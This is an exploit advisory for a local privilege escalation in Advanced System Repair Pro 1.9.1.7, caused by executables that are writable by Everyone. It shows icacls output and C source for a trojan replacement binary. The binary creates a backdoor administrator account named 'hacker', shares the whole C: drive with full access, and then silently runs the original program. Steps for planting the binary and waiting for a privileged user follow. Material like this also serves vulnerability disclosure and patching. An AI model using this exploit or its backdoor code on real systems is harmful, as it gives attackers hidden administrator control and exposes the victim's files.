Advanced System Repair Pro 1.9.1.7 Insecure File Permissions

# Exploit Title: Advanced System Repair Pro 1.9.1.7 - Insecure File Permissions
# Exploit Author: ZwX
# Exploit Date: 2020-01-12
# Vendor Homepage : https://advancedsystemrepair.com/
# Software Link: http://advancedsystemrepair.com/ASRProInstaller.exe
# Tested on OS: Windows 10


# Proof of Concept (PoC):
==========================

C:\Program Files\Advanced System Repair Pro 1.9.1.7.0>icacls *.exe
AdvancedSystemRepairPro.exe Everyone:(F)
                            AUTORITE NT\Systme:(I)(F)
                            BUILTIN\Administrateurs:(I)(F)
                            BUILTIN\Utilisateurs:(I)(RX)

dsutil.exe Everyone:(F)
           AUTORITE NT\Systme:(I)(F)
           BUILTIN\Administrateurs:(I)(F)
           BUILTIN\Utilisateurs:(I)(RX)
   
tscmon.exe Everyone:(F)
           AUTORITE NT\Systme:(I)(F)
           BUILTIN\Administrateurs:(I)(F)
           BUILTIN\Utilisateurs:(I)(RX)

 
#Exploit code(s): 
=================

1) Compile below 'C' code name it as "AdvancedSystemRepairPro.exe"

#include<windows.h>

int main(void){
 system("net user hacker abc123 /add");
 system("net localgroup Administrators hacker  /add");
 system("net share SHARE_NAME=c:\ /grant:hacker,full");
 WinExec("C:\\Program Files\\Advanced System Repair Pro 1.9.1.7.0\\~AdvancedSystemRepairPro.exe",0);
return 0;
} 

2) Rename original "AdvancedSystemRepairPro.exe" to "~AdvancedSystemRepairPro.exe"
3) Place our malicious "AdvancedSystemRepairPro.exe" in the Advanced System Repair Pro 1.9.1.7.0 directory
4) Disconnect and wait for a more privileged user to connect and use AdvancedSystemRepairPro IDE. 
Privilege Successful Escalation

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